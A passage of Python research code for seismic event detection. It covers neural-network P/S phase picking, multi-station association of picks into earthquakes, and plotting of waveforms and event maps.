\\\r\n taupM=tool.quickTaupModel(),delta0=0.02,\\\r\n R=[-91,91,-181,181]):\r\n self.net = station['net']\r\n self.loc = station.loc()\r\n self.station = station['sta']\r\n self.sta = station\r\n self.day = day\r\n self.taupM=taupM\r\n if self.loc[0]R[1] \\\r\n or self.loc[1]R[3]:\r\n self.data=getTrace3ByFileName([[],[],[]], freq=freq,delta0=delta0,\\\r\n maxA=maxA,isData=False)\r\n print('skip')\r\n else:\r\n self.data = getTrace3ByFileName(station.getFileNames(self.day),\\\r\n freq=freq,delta0=delta0,\\\r\n maxA=maxA,isData=False)\r\n print(self.station,self.data.bTime,self.data.eTime)\r\n def __del__(self):\r\n try:\r\n del(self.data)\r\n torch.cuda.empty_cache()\r\n except:\r\n pass\r\n else:\r\n pass\r\n def predict(self,modelL=None, staTimeM=None,\\\r\n mode='mid', isClearData=False,maxD=80,decPre=1,maxDTime=2):\r\n self.timeL = list()\r\n self.vL = list()\r\n self.mode = mode\r\n indexLL = [range(275, 1700), range(275, 1700)]\r\n if mode=='norm':\r\n minValueL=[0.5,0.5]\r\n if mode=='high':\r\n minValueL=[0.4, 0.4]\r\n if mode=='mid':\r\n minValueL=[0.25, 0.25]\r\n if mode=='low':\r\n minValueL=[0.2, 0.2]\r\n if mode=='higher':\r\n minValueL=[0.6, 0.6]\r\n minDeltaL=[500, 750]\r\n for i in range(len(modelL)):\r\n y = predictLongData(modelL[i], self.data.Data(),\\\r\n indexL=indexLL[i],dec=decPre)\r\n #print(y.max(),y.std(),len(y))\r\n tmpL = getDetec(y, minValue=minValueL[i], minDelta =\\\r\n minDeltaL[i])\r\n print(ctime(),'find',len(tmpL[0]))\r\n self.timeL.append(tmpL[0])\r\n self.vL.append(tmpL[1])\r\n self.pairD = self.getPSPair(maxD=maxD)\r\n self.isPick = np.zeros(len(self.pairD))\r\n self.orignM = self.convertPS2orignM(staTimeM,maxD=maxD,maxDTime=maxDTime)\r\n if isClearData:\r\n self.clearData()\r\n\r\n def __repr__(self):\r\n reprStr=self.net + ' '+self.station+\\\r\n str(self.loc)\r\n return 'detec in station '+ reprStr\r\n\r\n\r\n def getSacFileNamesL(self, station):\r\n return station.getFileNames(self.day)\r\n\r\n def clearData(self):\r\n self.data.data = np.zeros((0, 3))\r\n\r\n def plotData(self):\r\n colorStr = ['.r', '.g']\r\n plt.plot(self.data.data[:,2]/self.data.data[:,2].max()\\\r\n + np.array(0))\r\n for i in range(len(self.timeL)):\r\n plt.plot(self.timeL[i],self.vL[i], colorStr[i])\r\n plt.show()\r\n\r\n def calOrign(self, pTime, sTime):\r\n return self.taupM.get_orign_times(pTime, sTime, self.data.delta)\r\n\r\n def getPSPair(self, maxD=80):\r\n pairD = list()\r\n if len(self.timeL) == 0:\r\n return pairD\r\n if self.data.delta<=0:\r\n return pairD\r\n maxN = maxD/self.data.delta\r\n pN=len(self.timeL[0])\r\n sN=len(self.timeL[1])\r\n j0=0\r\n for i in range(pN):\r\n pTime = self.timeL[0][i]\r\n if i < pN-1 and self.mode != 'low':\r\n pTimeNext = self.timeL[0][i+1]\r\n else:\r\n pTimeNext= self.timeL[0][i]+maxN\r\n pTimeNext = min(pTime+maxN, pTimeNext)\r\n isS = 0\r\n for j in range(j0, sN):\r\n if isS==0:\r\n j0=j\r\n if self.timeL[1][j] > pTime and self.timeL[1][j] < pTimeNext:\r\n sTime=self.timeL[1][j]\r\n #print(pTime, sTime)\r\n pairD.append([pTime*self.data.delta, sTime*self.data.delta\\\r\n , self.calOrign(pTime, sTime)*self.data.delta, \\\r\n (sTime-pTime)*self.data.delta, i, j])\r\n isS=1\r\n if self.timeL[1][j] >= pTimeNext:\r\n break\r\n return pairD\r\n\r\n def convertPS2orignM(self, staTimeM, maxDTime=2,maxD=100):\r\n laN = staTimeM.minTimeD.shape[0]\r\n loN = staTimeM.minTimeD.shape[1]\r\n orignM = [[list() for j in range(loN)] for i in range(laN)]\r\n if len(self.pairD)==0:\r\n return orignM\r\n bSec = self.data.bTime.timestamp\r\n timeL = np.zeros(len(self.pairD))\r\n for i in range(len(self.pairD)):\r\n timeL[i] = self.pairD[i][2]+bSec\r\n sortL = np.argsort(timeL)\r\n for laIndex in range(laN):\r\n for loIndex in range(loN):\r\n minPairTime=staTimeM.minTimeD[laIndex][loIndex] - maxDTime\r\n if minPairTime>maxD:\r\n continue\r\n maxPairTime=staTimeM.maxTimeD[laIndex][loIndex] + maxDTime\r\n for i in sortL:\r\n if self.pairD[i][3] >= minPairTime \\\r\n and self.pairD[i][3] <= maxPairTime:\r\n pTime = self.pairD[i][0]+bSec\r\n sTime = self.pairD[i][1]+bSec\r\n timeTmp = [pTime, sTime, timeL[i], i]\r\n orignM[laIndex][loIndex].append(timeTmp)\r\n return orignM\r\n def filt(self,f=[-1,-1],filtOrder=2):\r\n self.data.filt(f,filtOrder)\r\n return self\r\n def resample(self,resampleN):\r\n self.data.resample(resampleN)\r\n return self\r\n def pickQuake(self,quake,modelL,bSec=-10,eSec=10,bCount=-3000,eCount=3000):\r\n deg = quake.dist(self.sta)/111.19\r\n dep = self.sta['dep']/1000+quake['dep']\r\n timeL=[0,0]\r\n proL=[-1,-1]\r\n pTime0= self.getEarliest(taupModel.get_travel_times(dep, deg, \\\r\n ['p', 'P', 'PP', 'pP','Pn']))+quake['time']\r\n sTime0= self.getEarliest(taupModel.get_travel_times(dep, deg, \\\r\n ['s', 'S', 'SS', 'sS','Sn']))+quake['time']\r\n time0L = [pTime0,sTime0]\r\n for i in range(2):\r\n time0= time0L[i]\r\n bTime=time0+bCount*self.data.Delta()\r\n eTime=time0+eCount*self.data.Delta()\r\n bIndex=int((time0+bSec-bTime)/self.data.Delta())\r\n eIndex=int((time0+eSec-bTime)/self.data.Delta())\r\n if self.data.bTimeeTime:\r\n data = self.data.Data(bTime=bTime,eTime=eTime)\r\n if len(data)>4000:\r\n y = predictLongData(modelL[i], data,indexL =range(275, 775))\r\n yMax = y[bIndex:eIndex].max()\r\n proL[i]=yMax\r\n if yMax>=0.5:\r\n timeL[i]=(y[bIndex:eIndex].argmax()+bIndex)*self.data.Delta()+bTime\r\n return timeL+proL\r\n\r\n def getEarliest(self,arrivals):\r\n time=10000000\r\n if len(arrivals)==0:\r\n print('no phase')\r\n return 0\r\n for arrival in arrivals:\r\n time = min(time, arrival.time)\r\n return time\r\ndef argMax2D(M):\r\n maxValue = np.max(M)\r\n maxIndex = np.where(M==maxValue)\r\n return maxIndex[0][0], maxIndex[1][0]\r\n\r\ndef associateSta(staL, aMat, staTimeML, timeR=30, minSta=3, maxDTime=3, N=1, \\\r\n isClearData=False, locator=None, maxD=80,**kwargs):\r\n timeN = int(timeR)*2\r\n startTime = obspy.UTCDateTime(2100, 1, 1)\r\n endTime = obspy.UTCDateTime(1970, 1, 1)\r\n staN = len(staL)\r\n for staIndex in range(staN):\r\n if isClearData:\r\n staL[staIndex].clearData()\r\n staL[staIndex].isPick = staL[staIndex].isPick*0\r\n for staTmp in staL:\r\n if staTmp.data.bTime<=t0+10:\r\n continue\r\n startTime = min(startTime, staTmp.data.bTime)\r\n endTime = max(endTime, staTmp.data.eTime)\r\n startSec = int(startTime.timestamp-3600)\r\n endSec = int(endTime.timestamp+3600)\r\n if N==1:\r\n quakeL=QuakeL()\r\n __associateSta(quakeL, staL, \\\r\n aMat, staTimeML, startSec, \\\r\n endSec, timeR=timeR, minSta=minSta,\\\r\n maxDTime=maxDTime,locator=locator,maxD=maxD,**kwargs)\r\n return quakeL\r\n for i in range(len(staL)):\r\n staL[i].clearData()\r\n manager=Manager()\r\n quakeLL=[manager.list() for i in range(N)]\r\n perN = int(int((endSec-startSec)/N+1)/timeN+1)*timeN\r\n processes=[]\r\n for i in range(N):\r\n process=Process(target=__associateSta, args=(quakeLL[i], \\\r\n staL, aMat, staTimeML, startSec+i*perN, \\\r\n startSec+(i+1)*perN+1))\r\n #process.setDaemon(True)\r\n process.start()\r\n processes.append(process)\r\n\r\n for process in processes:\r\n print(process)\r\n process.join()\r\n\r\n for quakeLTmp in quakeLL:\r\n for quakeTmp in quakeLTmp:\r\n quakeL.append(quakeTmp)\r\n return quakeL\r\n \r\n\r\ndef __associateSta(quakeL, staL, aMat, staTimeML, startSec, endSec, \\\r\n timeR=30, minSta=3, maxDTime=3, locator=None,maxD=80,maxDA=-1,\\\r\n taupM=tool.quickTaupModel(),halfMaxDTime=0,loopN=2):\r\n typeO = np.int16#in maxD determined Range, if the max station cound is small than 125,use np.int8 else\r\n #,Using np.int16\r\n print('start', startSec, endSec)\r\n if maxDA<0:\r\n maxDA = maxD\r\n laN = aMat.laN\r\n loN = aMat.loN\r\n staN = len(staL)\r\n timeN = int(timeR)*90\r\n stackM = np.zeros((timeN*3, laN, loN),typeO)\r\n tmpStackM=np.zeros((timeN*3+3*maxDTime, laN, loN),typeO)\r\n stackL = np.zeros(timeN*3)\r\n quakeCount=0\r\n dTimeL =np.arange(-maxDTime, maxDTime+1)\r\n dTimeLA =np.arange(-maxDTime, maxDTime+1)*0+2\r\n if halfMaxDTime>0:\r\n dTimeL =np.arange(-maxDTime-halfMaxDTime, maxDTime+1+halfMaxDTime)\r\n dTimeLA = dTimeL*0+2\r\n dTimeLA[:halfMaxDTime]=1\r\n dTimeLA[-halfMaxDTime:]=1\r\n for loop in range(loopN):\r\n staOrignMIndex = np.zeros((staN, laN, loN), dtype=int)\r\n count=0\r\n for sec0 in range(startSec-3*timeN, endSec+3*timeN, timeN):\r\n count=count+1\r\n if count%5==0:\r\n print(ctime(),'process:',(sec0-startSec)/(endSec-startSec)*100,' find:',len(quakeL))\r\n stackM[0:2*timeN, :, :] = stackM[timeN:, :, :]\r\n stackM[2*timeN:, :, :] = stackM[0:timeN, :, :]*0\r\n tmpStackM=tmpStackM*0\r\n st=sec0+2*timeN - maxDTime\r\n et=sec0+3*timeN + maxDTime\r\n for staIndex in range(staN):\r\n tmpStackM=tmpStackM*0\r\n for laIndex in range(laN):\r\n for loIndex in range(loN):\r\n if staTimeML[staIndex].minTimeD[laIndex,loIndex] > maxDA:\r\n continue\r\n if len(staL[staIndex].orignM[laIndex][loIndex])>0:\r\n index0=staOrignMIndex[staIndex, laIndex, loIndex]\r\n for index in range(index0, len(staL[staIndex].orignM[laIndex][loIndex])):\r\n timeT = staL[staIndex].orignM[laIndex][loIndex][index][2]\r\n pairIndex = staL[staIndex].orignM[laIndex][loIndex][index][3]\r\n if timeT >et:\r\n staOrignMIndex[staIndex, laIndex, loIndex] = index\r\n break\r\n if timeT > st and staL[staIndex].isPick[pairIndex]==0:\r\n pIndex = staL[staIndex].pairD[pairIndex][4]\r\n sIndex = staL[staIndex].pairD[pairIndex][5]\r\n pTime = staL[staIndex].timeL[0][pIndex]\r\n sTime = staL[staIndex].timeL[1][sIndex]\r\n staOrignMIndex[staIndex, laIndex, loIndex] = index\r\n if pTime * sTime ==0:\r\n continue\r\n tmpStackM[round(timeT-sec0)+dTimeL, laIndex, loIndex]=\\\r\n np.max([tmpStackM[round(timeT-sec0)+dTimeL, laIndex, loIndex],dTimeLA],axis=0)\r\n '''\r\n for dt in range(-maxDTime, maxDTime+1):\r\n tmpStackM[int(timeT-sec0+dt), laIndex, loIndex]=1\r\n '''\r\n stackM[2*timeN: 3*timeN, :, :] += tmpStackM[2*timeN: 3*timeN, :, :]\r\n stackL = stackM.max(axis=(1,2))\r\n peakL, peakN = tool.getDetec(stackL, minValue=minSta*dTimeLA.max(), minDelta=timeR)\r\n for peak in peakL:\r\n if peak > timeN and peak <= 2*timeN:\r\n time = peak + sec0\r\n laIndex, loIndex = argMax2D(stackM[peak, :, :].reshape((laN, loN)))\r\n quakeCount+=1\r\n quake = Quake(la=aMat[laIndex][loIndex].midLa,lo=aMat[laIndex][loIndex].midLo,\\\r\n dep=10.0,\\\r\n time=time, randID=quakeCount)\r\n for staIndex in range(staN):\r\n isfind=0\r\n if staTimeML[staIndex].minTimeD[laIndex,loIndex] > maxD:\r\n continue\r\n if len(staL[staIndex].orignM[laIndex][loIndex]) != 0:\r\n for index in range(staOrignMIndex[staIndex, laIndex, loIndex], -1, -1):\r\n if int(abs(staL[staIndex].orignM[laIndex][loIndex][index][2]-time))<=maxDTime:\r\n if staL[staIndex].isPick[staL[staIndex].\\\r\n orignM[laIndex][loIndex][index][3]]==0:\r\n pairDIndex = staL[staIndex].orignM[laIndex][loIndex][index][3]\r\n pIndex = staL[staIndex].pairD[pairDIndex][4]\r\n sIndex = staL[staIndex].pairD[pairDIndex][5]\r\n if staL[staIndex].timeL[0][pIndex] > 0 and \\\r\n staL[staIndex].timeL[1][sIndex] > 0:\r\n quake.Append(Record(staIndex=staIndex, \\\r\n pTime=staL[staIndex].orignM[laIndex][loIndex][index][0], \\\r\n sTime=staL[staIndex].orignM[laIndex][loIndex][index][1],\\\r\n pProb=staL[staIndex].vL[0][pIndex],\\\r\n sProb=staL[staIndex].vL[1][sIndex]))\r\n isfind=1\r\n staL[staIndex].timeL[0][pIndex] = 0\r\n staL[staIndex].timeL[1][sIndex] = 0\r\n staL[staIndex].isPick[pairDIndex] = 1\r\n break\r\n if staL[staIndex].orignM[laIndex][loIndex][index][2] < time - maxDTime:\r\n break\r\n if isfind==0:\r\n pTime=0\r\n sTime=0\r\n pProb=-1\r\n sProb=-1\r\n pTimeL=staL[staIndex].timeL[0]*staL[staIndex].data.delta\\\r\n +staL[staIndex].data.bTime.timestamp\r\n sTimeL=staL[staIndex].timeL[1]*staL[staIndex].data.delta\\\r\n +staL[staIndex].data.bTime.timestamp\r\n pTimeMin=time+staTimeML[staIndex].minTimeP[laIndex,loIndex]-maxDTime\r\n pTimeMax=time+staTimeML[staIndex].maxTimeP[laIndex,loIndex]+maxDTime\r\n sTimeMin=time+staTimeML[staIndex].minTimeS[laIndex,loIndex]-maxDTime\r\n sTimeMax=time+staTimeML[staIndex].maxTimeS[laIndex,loIndex]+maxDTime\r\n validP=np.where((pTimeL/1e5-pTimeMin/1e5)*(pTimeL/1e5-pTimeMax/1e5)<=0)\r\n if len(validP)>0:\r\n if len(validP[0])>0:\r\n if pTimeL[validP[0]][0]<=(time+maxD/0.7+maxDTime):\r\n pTime=pTimeL[validP[0]][0]\r\n pIndex=validP[0][0]\r\n pProb = staL[staIndex].vL[0][pIndex]\r\n if pTime < 1:\r\n continue\r\n validS=np.where((sTimeL-sTimeMin)*(sTimeL-sTimeMax) < 0)\r\n if len(validS)>0:\r\n if len(validS[0])>0:\r\n if sTimeL[validS[0]][0]<=(time+maxD*1.7/0.7+maxDTime):\r\n sTime=sTimeL[validS[0]][0]\r\n sIndex=validS[0][0]\r\n sProb = staL[staIndex].vL[1][sIndex]\r\n if pTime >1 and sTime>1:\r\n if np.abs(taupM.get_orign_times(pTime,sTime)-time)>=maxDTime:\r\n continue\r\n if pTime > 1:\r\n staL[staIndex].timeL[0][pIndex]=0\r\n if sTime >1:\r\n staL[staIndex].timeL[1][sIndex]=0\r\n quake.Append(Record(staIndex=staIndex, pTime=pTime, sTime=sTime, pProb=pProb, sProb=sProb))\r\n if locator != None and len(quake)>=3:\r\n try:\r\n quake,res=locator.locate(quake,isDel=True,maxErr=4)\r\n print(quake['time'],quake.loc(),res)\r\n except:\r\n print('wrong in locate')\r\n else:\r\n if res > 10:\r\n continue\r\n quakeL.append(quake)\r\n return quakeL\r\n\r\ndef getStaTimeL(staInfos, aMat,taupM=tool.quickTaupModel(),**kwarg):\r\n #manager=Manager()\r\n #staTimeML=manager.list()\r\n staTimeML=list()\r\n count =0\r\n for staInfo in staInfos:\r\n print(count,staInfo)\r\n loc=staInfo.loc()[:2]\r\n staTimeML.append(staTimeMat(loc, aMat, taupM=taupM,**kwarg))\r\n count+=1\r\n return staTimeML\r\n\r\ndef getSta(staL,i, staInfo, date, modelL, staTimeM, loc, \\\r\n freq,getFileName,taupM, mode,isPre=True,R=[-90,90,\\\r\n -180,180],comp=['BHE','BHN','BHZ'],maxD=80,delta0=0.02,\\\r\n bTime=None,eTime=None):\r\n staL[i] = sta(staInfo, date, modelL, staTimeM, loc, \\\r\n freq=freq, getFileName=getFileName, taupM=taupM, \\\r\n mode=mode,isPre=isPre,R=R,comp=comp,maxD=maxD,\\\r\n delta0=delta0,bTime=bTime,eTime=eTime)\r\ndef preSta(staL,i, staInfo, date, modelL, staTimeM, loc, \\\r\n freq,getFileName,taupM, mode,isPre=True,R=[-90,90,\\\r\n -180,180],comp=['BHE','BHN','BHZ'],maxD=80,delta0=0.02,\\\r\n bTime=None,eTime=None):\r\n staL[i].predict(staInfo, date, modelL, staTimeM, loc, \\\r\n freq=freq, getFileName=getFileName, taupM=taupM, \\\r\n mode=mode,isPre=isPre,R=R,comp=comp,maxD=maxD,\\\r\n delta0=delta0,bTime=bTime,eTime=eTime)\r\n\r\n\r\n'''\r\nself, station, day,freq=[-1, -1], \\\r\n taupM=tool.quickTaupModel(),delta0=0.02,\\\r\n R=[-91,91,-181,181],bTime=None,eTime=None\r\nself,modelL=None, staTimeM=None,\\\r\n mode='mid', isClearData=False,maxD=80\r\n '''\r\ndef getStaL(staInfos, staTimeML=[], modelL=[],\\\r\n date=obspy.UTCDateTime(0),taupM=tool.quickTaupModel(),\\\r\n mode='mid',isPre=True,f=[2, 15],R=[-90,90,\\\r\n -380,380],maxD=80,f_new=[-1,-1],delta0=0.02,resampleN=-1,\\\r\n isClearData=False,decPre=1,maxDTime=2):\r\n staL=[None for i in range(len(staInfos))]\r\n threads = list()\r\n for i in range(len(staInfos)): \r\n print(ctime(),'process on sta: ',i,date,staInfos[i])\r\n staL[i]=sta(staInfos[i], date,\r\n f, taupM,R=R,delta0=delta0)\r\n staL[i].filt(f_new)\r\n staL[i].resample(resampleN)\r\n #print(ctime(),'processed on sta: ',staL[i].data)\r\n if not isPre:\r\n return staL\r\n for i in range(len(staInfos)):\r\n if len(staTimeML)>0:\r\n staTimeM=staTimeML[i]\r\n else:\r\n staTimeM=None\r\n print(ctime(),'predict on sta: ',i,date)\r\n staL[i].predict(modelL, staTimeM, mode,\\\r\n maxD=maxD,maxDTime=maxDTime,isClearData=isClearData,decPre=decPre)\r\n return staL\r\ndef getForQuake(staL,quakes,modelL,**kwargs):\r\n for quake in quakes:\r\n for count in range(len(staL)):\r\n sta = staL[count]\r\n if len(sta.data)==3:\r\n pTime,sTime,pProb,sProb = sta.pickQuake(quake,modelL,**kwargs)\r\n if pTime > 0 :\r\n quake.records.append(Record(staIndex=count,pTime=pTime,sTime=sTime,pProb=pProb,sProb=sProb))\r\n print(quake['time'],count,pTime,sTime,pProb,sProb)\r\n\r\n\r\ndef getStaQuick(staInfos,date,f,taupM,R,delta0,f_new,resampleN):\r\n for i in range(len(staInfos)): \r\n print(ctime(),'process on sta: ',date,i)\r\n sta=sta(staInfos[i], date,\r\n f, taupM,R=R,delta0=delta0)\r\n sta.filt(f_new)\r\n sta.resample(resampleN)\r\n\r\nfrom ..io.parRead import StaReader,DataLoader,collate_function\r\ndef getStaLQuick(staInfos, staTimeML=[], modelL=[],\\\r\n date=obspy.UTCDateTime(0),taupM=tool.quickTaupModel(),\\\r\n mode='mid',isPre=True,f=[2, 15],R=[-90,90,\\\r\n -180,180],maxD=80,f_new=[-1,-1],delta0=0.02,resampleN=-1,\\\r\n isClearData=False,num_workers=5):\r\n staReader = StaReader(staInfos,getStaLQuick,date,f,taupM,R,delta0,f_new,resampleN)\r\n parReader = DataLoader(staReader,batch_size=1,collate_fn=collate_function,num_workers=num_workers)\r\n staL=[]\r\n for tmp in parReader:\r\n for t in tmp:\r\n staL.append(t)\r\n if not isPre:\r\n return staL\r\n for i in range(len(staInfos)):\r\n if len(staTimeML)>0:\r\n staTimeM=staTimeML[i]\r\n else:\r\n staTimeM=None\r\n print(ctime(),'predict on sta: ',date,i)\r\n staL[i].predict(modelL, staTimeM, mode,\\\r\n maxD=maxD,isClearData=isClearData)\r\n return staL\r\n\r\n\r\ndef showExample(filenameL,modelL,delta=0.02,t=[]):\r\n data=getTrace3ByFileName(filenameL,freq=[2,15])\r\n data=data.Data()[:2000*50]\r\n \r\n #i0=int(750/delta)\r\n #i1=int(870/delta)\r\n #plt.specgram(np.sign(data[i0:i1,1])*(np.abs(data[i0:i1,1])**0.5),NFFT=200,Fs=50,noverlap=190)\r\n data/=data.max()/2\r\n #plt.colorbar()\r\n #plt.show()\r\n plt.close()\r\n plt.figure(figsize=[4,4])\r\n yL=[predictLongData(modelL[i],data) for i in range(2)]\r\n timeL=np.arange(data.shape[0])*delta-720\r\n #print(data.shape,timeL.shape)\r\n for i in range(3):\r\n plt.plot(timeL,np.sign(data[:,i])*(np.abs(data[:,i]))+i,'k',linewidth=0.3)\r\n for i in range(2):\r\n plt.plot(timeL,yL[i]-i-1.5,'k',linewidth=0.5)\r\n if len(t)>0:\r\n plt.xlim(t)\r\n plt.yticks(np.arange(-2,3),['S','P','E','N','Z'])\r\n plt.ylim([-2.7,3])\r\n plt.xlabel('t/s')\r\n plt.savefig('fig/complexCondition.eps')\r\n plt.savefig('fig/complexCondition.tiff',dpi=300)\r\n plt.close()\r\n \r\n\r\ndef showExampleV2(filenameL,modelL,delta=0.02,t=[],staName='sta'):\r\n data=getTrace3ByFileName(filenameL,freq=[2,15],delta=delta)\r\n data=data.Data()[:3500*50]\r\n \r\n #i0=int(750/delta)\r\n #i1=int(870/delta)\r\n #plt.specgram(np.sign(data[i0:i1,1])*(np.abs(data[i0:i1,1])**0.5),NFFT=200,Fs=50,noverlap=190)\r\n data/=data.max()/2\r\n #plt.colorbar()\r\n #plt.show()\r\n plt.close()\r\n plt.figure(figsize=[4,4])\r\n yL=[predictLongData(model,data) for model in modelL]\r\n timeL=np.arange(data.shape[0])*delta-720\r\n #print(data.shape,timeL.shape)\r\n for i in range(3):\r\n plt.plot(timeL,np.sign(data[:,i])*(np.abs(data[:,i]))+i,'k',linewidth=0.3)\r\n for i in range(len(modelL)):\r\n plt.plot(timeL,yL[i]-i-1.5,'k',linewidth=0.5)\r\n #plt.plot(timeL,yL[i]*0+0.5-i-1.5,'--k',linewidth=0.5)\r\n if len(t)>0:\r\n plt.xlim(t)\r\n plt.yticks(np.arange(-4,3),['S1','S0','P1','P0','E','N','Z'])\r\n plt.ylim([-4.7,3])\r\n plt.xlabel('t/s')\r\n plt.savefig('fig/complexConditionV2_%s.eps'%staName)\r\n plt.savefig('fig/complexConditionV2_%s.tiff'%staName,dpi=300)\r\n plt.close()\r\n\r\ndef plotRes(staL, quake, filename=None):\r\n colorStr='br'\r\n for record in quake.records:\r\n color=0\r\n pTime=record['pTime']\r\n sTime=record['sTime']\r\n staIndex=record['staIndex']\r\n if staIndex>100:\r\n color=1\r\n #print(staIndex,pTime,sTime)\r\n st=quake['time']-10\r\n et=sTime+40\r\n if sTime==0:\r\n et=pTime+60\r\n pD=(pTime-quake['time'])\r\n if pTime ==0:\r\n pD = ((sTime-quake['time'])/1.73)\r\n if staL[staIndex].data.bTime<0:\r\n continue\r\n #print(st, et, staL[staIndex].data.delta)\r\n timeL=np.arange(st, et, staL[staIndex].data.delta)\r\n #data = staL[staIndex].data.getDataByTimeL(timeL)\r\n data=staL[staIndex].data.getDataByTimeLQuick(timeL)\r\n if timeL.shape[0] != data.shape[0]:\r\n print('not same length for plot')\r\n continue\r\n if timeL.size<1:\r\n print(\"no timeL for plot\")\r\n continue\r\n indexL=np.arange(data.shape[0])\r\n if pTime>0:\r\n index0=max(int((pTime-5-st)/staL[staIndex].data.delta),0)\r\n index1=int((pTime+5-st)/staL[staIndex].data.delta)\r\n indexL=np.arange(index0,index1)\r\n #if record.pProb()>1 or record.pProb()<0:\r\n # plt.plot(timeL, data[:, 2]/data[indexL,2].max()+pD,colorStr[color],linewidth=0.3)\r\n #else:\r\n if True:\r\n #color = prob2color(record['pProb'])\r\n if isinstance(quake,QuakeCC):\r\n color = prob2color(record['pCC'])\r\n pValue = record['pCC']\r\n sValue = record['sCC']\r\n else:\r\n color = prob2color(record['pProb'])\r\n pValue = record['pProb']\r\n sValue = record['sProb']\r\n plt.plot(timeL, data[:, 2]/data[indexL,2].max()+pD,color=color,linewidth=0.3)\r\n plt.text(timeL[0],pD+0.5,'%s %.2f %.2f'%(staL[staIndex].station,pValue,\\\r\n sValue))\r\n if pTime>0:\r\n plt.plot([pTime, pTime], [pD+2, pD-2], 'g',linewidth=0.5)\r\n if sTime >0:\r\n plt.plot([sTime, sTime], [pD+2, pD-2], 'r',linewidth=0.5)\r\n if isinstance(quake,QuakeCC):\r\n plt.title('%s %.3f %.3f %.3f %.3f cc:%.3f' % (obspy.UTCDateTime(quake['time']).\\\r\n ctime(), quake['la'], quake['lo'],quake['dep'],quake['ml'],quake['cc']))\r\n else:\r\n plt.title('%s %.3f %.3f %.3f %.3f' % (obspy.UTCDateTime(quake['time']).\\\r\n ctime(), quake['la'], quake['lo'],quake['dep'],quake['ml']))\r\n if filename==None:\r\n plt.show()\r\n if filename!=None:\r\n dayDir=os.path.dirname(filename)\r\n if not os.path.exists(dayDir):\r\n os.mkdir(dayDir)\r\n plt.savefig(filename,dpi=200)\r\n plt.close()\r\n\r\ndef plotResS(staL,quakeL, outDir='output/'):\r\n for quake in quakeL:\r\n filename=outDir+'/'+quake['filename'][0:-3]+'png'\r\n #filename=outDir+'/'+str(quake.time)+'.jpg'\r\n #try:\r\n plotRes(staL,quake,filename=filename)\r\n #except:\r\n # pass\r\n #else:\r\n # pass\r\n\r\ndef plotQuakeL(staL,quakeL,laL,loL,outDir='output/',filename='',vModel=None,isPer=False):\r\n dayIndex = int(quakeL[-1]['time']/86400)\r\n Ymd = obspy.UTCDateTime(dayIndex*86400).strftime('%Y%m%d')\r\n if len(filename)==0:\r\n filename = '%s/%s_quake_loc.jpg'%(outDir,Ymd)\r\n dayDir=os.path.dirname(filename)\r\n if not os.path.exists(dayDir):\r\n os.mkdir(dayDir)\r\n m = basemap.Basemap(llcrnrlat=laL[0],urcrnrlat=laL[1],llcrnrlon=loL[0],\\\r\n urcrnrlon=loL[1])\r\n staLa= []\r\n staLo=[]\r\n for sta in staL:\r\n if sta.data.bTime>0:\r\n staLa.append(sta.loc[0])\r\n staLo.append(sta.loc[1])\r\n #staLa,staLo = staL.loc()\r\n staX,staY=m(np.array(staLo)%360,np.array(staLa))\r\n m.plot(staX,staY,'b^',markersize=4,alpha=0.2)\r\n eLa= []\r\n eLo=[]\r\n for quake in quakeL:\r\n eLa.append(quake['la'])\r\n eLo.append(quake['lo'])\r\n eX,eY=m(np.array(eLo)%360,np.array(eLa))\r\n #m.etopo()\r\n for fault in faultL:\r\n if fault.inR(laL+loL):\r\n fault.plot(m,markersize=0.3)\r\n m.plot(eX,eY,'ro',markersize=0.5)\r\n parallels = np.arange(-90,90,3)\r\n m.drawparallels(parallels,labels=[False,True,True,False])\r\n meridians = np.arange(10.,360.,3)\r\n plt.gca().yaxis.set_ticks_position('right')\r\n m.drawmeridians(meridians,labels=[True,False,False,True])\r\n plt.title(Ymd)\r\n plt.savefig(filename,dpi=300)\r\n plt.close()\r\n\r\ndef plotQuakeLDis(staInfos,quakeL,laL,loL,outDir='output/',filename='',isTopo=False,rL=[],R0=[],isBall=False,figSize=[6.2,5],width=0.06):\r\n dayIndex = int(quakeL[-1]['time']/86400)\r\n Ymd = obspy.UTCDateTime(dayIndex*86400).strftime('%Y%m%d')\r\n if len(filename)==0:\r\n filename = '%s/%s_quake_loc.jpg'%(outDir,Ymd)\r\n dayDir=os.path.dirname(filename)\r\n if not os.path.exists(dayDir):\r\n os.mkdir(dayDir)\r\n fig=plt.figure(figsize=figSize)\r\n m = basemap.Basemap(llcrnrlat=laL[0],urcrnrlat=laL[-1],llcrnrlon=loL[0],\\\r\n urcrnrlon=loL[-1])\r\n if len(staInfos)>0:\r\n req={'staInfos':staInfos,'minCover':0.5,'minMl':-5}\r\n else:\r\n req={'minMl':-5}\r\n req={}\r\n pL=quakeL.paraL(req=req)\r\n eX,eY,=m(np.array(pL['lo']),np.array(pL['la']))\r\n #m.etopo()\r\n ml,dep=[np.array(pL['ml']),np.array(pL['dep'])]\r\n for fault in faultL:\r\n if fault.inR(laL+loL):\r\n fh=fault.plot(m,markersize=0.3)\r\n \r\n #m.plot(eX,eY,'ro',markersize=2)\r\n #m.etopo()\r\n if isTopo:\r\n plotTopo(m,laL+loL)\r\n #sc=m.scatter(eX,eY,c=dep,s=((ml*0+1)**2)*0.3/3,vmin=-5,vmax=50,cmap='gist_rainbow')#Reds\r\n #sc=m.scatter(eX,eY,c=dep,s=((ml*0+1)**2)*0.3/3,vmin=-5,vmax=50,cmap='jet')\r\n if not isBall:\r\n eh=m.plot(eX,eY,'.r',markersize=0.3,alpha=1,linewidth=0.01)\r\n else:\r\n ax = plt.axes()\r\n sdr0L=[]\r\n xyL=[]\r\n for quake in quakeL:\r\n sdr0L.append(quake['sdr0'])\r\n xyL.append((quake['lo'],quake['la']))\r\n ball=imaging.beachball.beach(sdr0L[-1],xy=xyL[-1],width=width,facecolor='r',size=20)\r\n ax.add_collection(ball) \r\n staLa= []\r\n staLo=[]\r\n for sta in staInfos:\r\n staLa.append(sta.loc()[0])\r\n staLo.append(sta.loc()[1])\r\n #staLa,staLo = staL.loc()\r\n staX,staY=m(np.array(staLo),np.array(staLa))\r\n sh=m.plot(staX,staY,'k^',markersize=3,alpha=1)\r\n #plt.legend([st,sc,f],['station','event','fault'])\r\n #m.arcgisimage()\r\n #plt.scatter()\r\n parallels = np.arange(0.,90,3)\r\n m.drawparallels(parallels,labels=[False,True,True,False])\r\n meridians = np.arange(10.,360.,3)\r\n m.drawmeridians(meridians,labels=[True,False,False,True])\r\n plt.gca().yaxis.set_ticks_position('left')\r\n #plt.title('Detection Results')\r\n 